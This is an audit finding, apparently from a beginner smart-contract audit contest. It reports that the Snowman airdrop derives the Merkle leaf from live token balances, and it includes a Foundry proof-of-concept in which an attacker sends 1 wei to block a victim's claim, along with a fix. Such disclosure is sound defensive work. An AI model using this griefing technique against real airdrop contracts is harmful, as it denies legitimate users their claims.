Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Balance-Dependent Merkle Leaf Enables Third-Party Griefing

mrqaqasec

Description

The intended behavior of claimSnowman is that any address whitelisted in the Merkle tree (with the matching (address, amount) leaf) can produce a valid Merkle proof, sign the EIP-712 digest, and receive their NFT. The Merkle root is immutable at deployment, so once a user is whitelisted their claim should be guaranteed for the lifetime of the contract.

The specific issue is that the on-chain leaf is computed from i_snow.balanceOf(receiver) at claim time, NOT from a fixed amount parameter supplied by the caller. The Merkle tree off-chain is built with a fixed (address, amount) pair captured at snapshot time, but the contract re-derives amount from live balance state. Any third party who transfers even 1 wei of Snow tokens into a whitelisted victim's wallet — an action that requires no permission, no signature, and no interaction with the victim — pushes the victim's balance above the Merkle-tree amount, makes the on-chain leaf diverge from the off-chain leaf, and causes MerkleProof.verify to revert with SA__InvalidProof. The victim cannot claim until they shed the excess tokens, and if the farming window has closed and they cannot earnSnow() again, the griefing can be permanent.

// SnowmanAirdrop.sol — claimSnowman()
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
​
// @> amount is derived from LIVE on-chain balance, NOT from a caller-supplied or fixed parameter.
// @> This couples the Merkle leaf to mutable state that ANY token holder can manipulate by transferring tokens to `receiver`.
uint256 amount = i_snow.balanceOf(receiver);
​
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s))
revert SA__InvalidSignature();
​
// @> leaf is computed with the mutable `amount`, so it only matches the off-chain tree when balance == snapshot amount.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
​
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();
​
i_snow.safeTransferFrom(receiver, i_tokenCollector, amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

Reason 1: Any Snow token holder (including the attacker) can grief any whitelisted victim by calling snow.transfer(victim, 1). No approval, no signature, no victim interaction is required. Transfers are a base ERC20 capability that cannot be blocked.

Reason 2: The griefing is triggered by ordinary ERC20 transfers that look completely benign on-chain and in explorers — there is no on-chain signal that the transfer is an attack, which makes the cause of the SA__InvalidProof revert non-obvious to the victim.

Impact:

Impact 1: A whitelisted victim is permanently unable to claim their NFT until they restore their balance to exactly the Merkle-tree amount. If the farming window has expired and the victim has no other way to dispose of the excess tokens (e.g., the attacker refuses to take them back, or the victim is a contract that cannot easily transfer arbitrary tokens), the claim is blocked indefinitely.

Impact 2: The vulnerability extends to the getMessageHash path: the EIP-712 digest also reads balanceOf(receiver), so a victim who signed before the griefing attack will see their pre-existing signature rejected — they must re-sign, re-approve, and re-submit, with no guarantee the attacker will not grief them again before the new claim lands.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Merkle} from "murky/src/Merkle.sol";
​
contract H03_Griefing is Test {
Snow public snow;
Snowman public snowman;
MockWETH public weth;
Merkle public merkleLib;
​
address public alice; // whitelisted victim
uint256 public aliceKey;
address public bob; // attacker (also whitelisted but unrelated)
uint256 public bobKey;
​
function setUp() public {
merkleLib = new Merkle();
(alice, aliceKey) = makeAddrAndKey("alice");
(bob, bobKey) = makeAddrAndKey("bob");
​
weth = new MockWETH();
snow = new Snow(address(weth), 5, makeAddr("collector"));
snowman = new Snowman("");
​
// Alice and Bob each earn 1 Snow (the whitelisted amount).
vm.prank(alice); snow.earnSnow();
vm.warp(block.timestamp + 1 weeks);
vm.prank(bob); snow.earnSnow();
}
​
function _leaf(address a, uint256 amt) internal pure returns (bytes32) {
return keccak256(bytes.concat(keccak256(abi.encode(a, amt))));
}
​
function test_thirdPartyGriefingBlocksClaim() public {
// Build Merkle tree with fixed (alice,1) and (bob,1) leaves.
bytes32[] memory leaves = new bytes32[](2);
leaves[0] = _leaf(alice, 1);
leaves[1] = _leaf(bob, 1);
bytes32 root = merkleLib.getRoot(leaves);
bytes32[] memory proofAlice = merkleLib.getProof(leaves, 0);
​
SnowmanAirdrop a = new SnowmanAirdrop(root, address(snow), address(snowman));
​
// ---- ATTACK: Bob transfers 1 Snow into Alice's wallet without her consent. ----
vm.prank(bob);
snow.transfer(alice, 1);
assertEq(snow.balanceOf(alice), 2); // Alice's balance now diverges from Merkle-tree amount of 1.
​
// Alice approves, signs, and submits with her VALID proof.
vm.prank(alice);
snow.approve(address(a), type(uint256).max);
​
bytes32 digest = a.getMessageHash(alice); // reads balance == 2
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, digest);
​
// Leaf computed on-chain is keccak256(...(alice, 2)) but proof is for keccak256(...(alice, 1)).
vm.expectRevert(SnowmanAirdrop.SA__InvalidProof.selector);
a.claimSnowman(alice, proofAlice, v, r, s);
​
// Alice's claim is permanently blocked until she shed the excess token.
assertEq(snowman.balanceOf(alice), 0);
}
​
function test_victimRecoversBySheddingExcess() public {
bytes32[] memory leaves = new bytes32[](2);
leaves[0] = _leaf(alice, 1);
leaves[1] = _leaf(bob, 1);
bytes32 root = merkleLib.getRoot(leaves);
bytes32[] memory proofAlice = merkleLib.getProof(leaves, 0);
SnowmanAirdrop a = new SnowmanAirdrop(root, address(snow), address(snowman));
​
// Bob griefs Alice.
vm.prank(bob); snow.transfer(alice, 1);
​
// Alice sheds the excess to a sink address.
address sink = makeAddr("sink");
vm.prank(alice); snow.transfer(sink, 1);
assertEq(snow.balanceOf(alice), 1); // back in sync with Merkle-tree amount
​
// Claim now succeeds.
vm.prank(alice); snow.approve(address(a), type(uint256).max);
bytes32 digest = a.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, digest);
a.claimSnowman(alice, proofAlice, v, r, s);
​
assertEq(snowman.balanceOf(alice), 1);
}
}

Recommended Mitigation

// SnowmanAirdrop.sol — claimSnowman()
- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
- if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
-
- // @> amount was derived from live balance; couple it to caller-supplied fixed commitment instead.
- uint256 amount = i_snow.balanceOf(receiver);
+ if (amount == 0) revert SA__ZeroAmount();
​
- if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s))
+ // @> Bind the signature to the fixed `amount`, not the live balance.
+ if (!_isValidSignature(receiver, getMessageHash(receiver, amount), v, r, s))
revert SA__InvalidSignature();
​
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();
​
i_snow.safeTransferFrom(receiver, i_tokenCollector, amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
​
- function getMessageHash(address receiver) public view {
- if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
- uint256 amount = i_snow.balanceOf(receiver);
- SnowmanClaim memory claim = SnowmanClaim({receiver: receiver, amount: amount});
- return _hashTypedDataV4(keccak256(abi.encode(MESSAGE_TYPEHASH, claim.receiver, claim.amount)));
- }
+ function getMessageHash(address receiver, uint256 amount) public view {
+ if (amount == 0) revert SA__ZeroAmount();
+ SnowmanClaim memory claim = SnowmanClaim({receiver: receiver, amount: amount});
+ return _hashTypedDataV4(keccak256(abi.encode(MESSAGE_TYPEHASH, claim.receiver, claim.amount)));
+ }

The fix replaces live balanceOf reads with a caller-supplied amount parameter that is bound to both the EIP-712 signature and the Merkle leaf. The Merkle proof still authoritatively verifies that (receiver, amount) is in the tree, so the caller cannot inflate amount. Any third-party token transfer into receiver no longer affects the claim outcome.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!